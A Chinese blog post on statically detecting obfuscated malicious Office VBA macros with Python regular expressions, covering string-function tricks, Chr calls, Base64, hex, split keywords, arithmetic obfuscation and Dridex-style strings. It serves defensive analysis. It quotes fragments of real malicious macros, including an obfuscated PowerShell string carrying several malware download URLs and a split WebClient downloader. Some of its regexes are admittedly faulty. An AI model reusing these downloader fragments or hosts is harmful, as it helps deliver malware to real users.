恶意Office文档解析——4. 针对某些混淆的静态鉴别的正则表达式

  1. 针对字符串操作函数

常见的针对字符串操作函数,如:substr, substring,
unescape,fromcharcode, replace,
split 等,常常作为VBA代码对自身解混淆的函数名。因此检测到上述表达式及其变体,就表明VBA代码中可能存在字符串混淆操作。

设定正则表达式为提取相邻的最近的上述字母字段,可以有效抓取上述单词及其混淆变体。如:

ivtVIlEvRolqQNcPGXPfbKaG = "$yYILe
='hhhKthhKthhKphhK:hhK/hhK/hhKghhKohhKkhhKehhKehhKnhhKahhKkhhKthhKehhK.hhKthhKohhKphhK/hhKahhKdhhKmhhKihhKnhhK.hhKphhKhhhKphhK?hhKfhhK=hhK2hhK,hhKhhhKthhKthhKphhK:hhK/hhK/hhKvhhKihhKdhhKehhKohhKahhKnhhKahhKlhhKyhhKshhKthhKehhKshhK.hhKwhhKehhKbhhKchhKahhKmhhK/hhKahhKdhhKmhhKihhKnhhK.hhKphhKhhhKphhK?hhKfhhK=hhK2hhK,hhKhhhKthhKthhKphhK:hhK/hhK/hhKphhKhhhKohhKthhKohhKghhKrhhKahhKphhKhhhKyhhKphhKohhKihhKnhhKthhKehhKrhhK.hhKmhhKehhKnhhK/hhKahhKdhhKmhhKihhKnhhK.hhKphhKhhhKphhK?hhKfhhK=hhK2'  -re" + "place 'hhK', '';"

这是截取的混淆代码片段,其中包含字符串操作函数replace,目的是对代码片段中的所有“hhk”做替换。replace变体形式为re" + "place。

Replace_RE =r'(r.*e.*p.*l.*a.*c.*e?)'
re_Replace = re.compile(Replace_RE)
search_Replace = re.findall(re_Replace, vbacode)
  1. Chr函数

Chr函数可以访问和操作ASCII字符集,在代码中检测到Chr函数,意味着代码有可能被恶意混淆。ChrB\ChrW可以实现类似的功能。检测VBA代码中的Chr/ChrB/ChrW字段:

uCDq = jOYl / sUBFo05 - hNZ + Chr(93)

  • 420140798 - CLng(fVWISB)

Chr(93) 转换后的字符为]。

match_chrW = re.compile('ChrW\(\d+\)',re.I)
match_chrB = re.compile('ChrB\(\d+\)',re.I)
match_char = re.compile('Char\(\d+\)',re.I)
match_chr = re.compile('Chr\(\d+\)',re.I)
search_chrW = re.findall(match_chrW,vbacode)
search_chrB = re.findall(match_chrB, vbacode)
search_char = re.findall(match_char, vbacode)
search_chr = re.findall(match_chr, vbacode)
  1. Base64

采用64个基本的ASCII码字符对数据进行重新编码,可以实现简单的加密。

BASE64_RE = r'(?:[A-Za-z0-9+/]{4}){1,}(?:[A-Za-z0-9+/]{2}[AEIMQUYcgkosw048]=|[A-Za-z0-9+/][AQgw]==)?'
re_base64_string = re.compile('"' + BASE64_RE + '"')
search_Base64 = re.findall(re_base64_string, vbacode)
  1. 16进制

采用16进制对数据进行重新编码,可以实现简单的加密。

re_hex_string = re.compile(r'(?:[0-9A-Fa-f]{2}){4,}')
search_hexadecimal = re.findall(re_hex_string, vbacode)
  1. 恶意特征分割

一些恶意关键词常常被分割成不同的字母组合,并用
” ” + “ “ 的方式连接。检测特征为多个” ” + “ “ 依次连接,验证代码中是否存在恶意关键词。恶意代码段样本如下:

PaUgLhxxqdL = "p" + "ow" + "er" + "she" + "ll $PKcJxk = n" + "ew-" + "ob" + "ject Sy" + "stem.N" + "et.We" + "bCli" + "ent;$naengWNZ = ne" + "w-ob" + "ject ra" + "ndo" + "m;

初步判断,代码解混淆的结果应该为powershell $PKcJxk = new-object System.Net.WebClient

re_SpecialSpace = re.compile('\"(.+)\"\s[\+/]',flags=re.I)
search_SpecialSpace = re.findall(re_SpecialSpace, vbacode)
  1. 算数序列

VBA混淆代码中,常常利用代数四则运算为变量赋值,以达到混淆目的。代数运算的格式常常为:数字
运算符 数字 ······ 运算符 数字。截取恶意代码段样本如下:

jyoU0xXsC = Trim(Mid(jyoU0xXsC, 3615 - 3612, 3615 - 3612))

CdEYGz = Trim(Mid(CdEYGz, -780 + 784, -780 + 784))

ylefISPr = Trim(Mid(ylefISPr, 7220 / 7220, 7220 / 7220))
re_add = re.compile('(?<=\d)[0-9]+\s[\+\-\*/]\s\d+(?=\d)',flags=re.I)
search_add = re.findall(re_add, vbacode)
  1. 函数名和变量名

VBA代码中函数名和变量名可以进行多种混淆,如:函数名和变量名混淆为乱序字符串,字符串长度过长或过短,函数名和变量名在全文中只调用一次等。

根据VBA语言中函数和变量的命名规则,软件可以检测Dim、Private、Public、Globlal、Static、As、Function、Sub字段,获取VBA代码中出现的函数名和变量名。

re_Function_name_Function = re.compile('(?<=Function ).*?(?=[(])',flags=re.I)
search_Function_name_Function = re.findall(re_Function_name_Function, vbacode)
re_Function_name_Sub = re.compile('(?<=Sub ).*?(?=[(])', flags=re.I)
search_Function_name_Sub = re.findall(re_Function_name_Sub, vbacode)
search_Function_name = (search_Function_name_Function + search_Function_name_Sub)
#Dim variable
re_Variable_Dim = re.compile('(?<=Dim\s).*?(?=[\s\n])',flags=re.I)
search_Variable_Dim = re.findall(re_Variable_Dim, vbacode)
#Private variable
re_Variable_Private = re.compile('(?<=Private\s).*?(?=[\s\n])', flags=re.I)
search_Variable_Private = re.findall(re_Variable_Private, vbacode)
#Public variable,but error
re_Variable_Public = re.compile('(?<=Public\s).*?(?!(Function|Sub))', flags=re.S)
search_Variable_Public = re.findall(re_Variable_Public, vbacode)
#Globlal variable
re_Variable_Globlal = re.compile('(?<=Globlal\s).*?(?=[\s\n])', flags=re.I)
search_Variable_Globlal = re.findall(re_Variable_Globlal, vbacode)
#Static variable
re_Variable_static = re.compile('(?<=static\s).*?(?=[\s\n])', flags=re.I)
search_Variable_static = re.findall(re_Variable_static, vbacode)
#Set ___ Function(*** As ___)
re_Variable_spe = re.compile('(?<=[,(]).*?(?=\sAs)', flags=re.I)
search_Variable_spe = re.findall(re_Variable_spe, vbacode)
Variable_list = (search_Variable_Dim + search_Variable_static + search_Variable_spe + search_Variable_Globlal + search_Variable_Private + search_Variable_static)

8)dridex

re_dridex_string = re.compile(r'"[0-9A-Za-z]{20,}"')
search_dridex_string = re.findall(re_dridex_string, vbacode)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值